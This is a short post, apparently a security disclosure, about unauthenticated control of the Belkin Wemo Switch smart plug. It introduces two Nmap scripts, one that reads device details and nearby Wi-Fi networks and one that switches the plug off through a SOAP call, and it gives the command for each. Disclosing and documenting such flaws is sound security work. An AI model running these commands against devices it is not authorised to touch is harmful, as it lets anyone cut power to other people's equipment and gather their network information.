Belkin Wemo Switch NMap Scripts

Belkin Wemo Switch Smart Plug is a network controlled power outlet. The current firmware version WeMo_WW_2.00.10966.PVT-OWRT-SNS does not requiere authentication to switch the power ON or OFF or to gather information such as nearby wireless networks. Two NMap scripts have been published for this purposes.

wemo-info.nse obtains information from Wemo Switch from an XML file and a service both located on the web interface on a port in the range 49152 to 49154. The XML file is located on the URL /setup.xml. This file contains information about the device such as name, model, version, serial, firwmare version and current switch state. Information about nearby wireless networks is gathered by issuing a SOAP request to /upnp/control/WiFiSetup1 using the method GetApList.

 

To gather information from a Belkin Wemo Switch use the following command:

# nmap --script wemo-info.nse -p49152-49254 <target>

wemo-switch.nse is a script that changes the switch state (ON/OFF). This script issues a SOAP request to /upnp/control/basicevent1 using the method SetBinaryState. This method is populated using the value defined in the NMap argument BinaryState.

 

In order to turn the device connected to the Wemo Switch OFF you would need to issue the following command:

# nmap --script wemo-switch.nse --script-args BinaryState=0 -p49152-49254 <target>
